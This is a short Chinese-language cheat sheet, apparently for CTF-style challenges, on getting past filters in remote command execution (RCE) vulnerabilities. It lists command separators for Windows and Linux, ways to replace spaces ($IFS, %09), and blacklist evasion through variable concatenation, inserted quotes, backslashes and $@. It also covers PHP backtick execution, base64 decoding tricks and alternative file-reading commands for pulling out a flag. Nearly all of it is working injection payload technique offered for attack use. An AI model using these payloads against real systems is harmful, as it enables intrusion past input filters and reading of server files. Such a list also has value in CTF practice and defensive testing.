RCE绕过手册
基础知识:
Windows中的命令拼接符号:
&&:左边的命令执行成功,右边的才执行
&:简单的拼接
|:上一条命令的输出,作为下一条命令参数
||:左边的命令执行失败,右边的才执行
Linux中的命令拼接符号:
;:没有任何逻辑关系的连接符
&&:左边的命令执行成功,右边的才执行
|:上一条命令的输出,作为下一条命令参数
||:左边的命令执行失败,右边的才执行
&:后台任务执行,与nohup命令功能差不多
花括号
{}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}
斜杠
路径符号 /\是在正则等语法里面,表示后面跟的字符是正常字符,不需要转义。
也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过
空格过滤
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
一些命令分隔符
linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
黑名单绕过
拼接绕过
比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)使用内敛执行代替system
等效替换
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?> 等效于<?php echo `ls /`; ?>
都等效于<?php echo ls;?>
编码绕过
[root~]# echo 'Y2F0wqAK' | base64 -d 1.txt
-d是解码,是base64解码xxd - r -p可以转换16进制,同样用户管道符之后。
单引号和双引号绕过
比如:ca‘‘t flag 或ca""t flag
利用Shell 特殊变量绕过
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。$@表示
比如:ca$@t fla$@g或者ca$1t fla$2g
linux中直接查看文件内容的工具
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
总结:
一个不行那就换另一个试试,看谁笑到最后

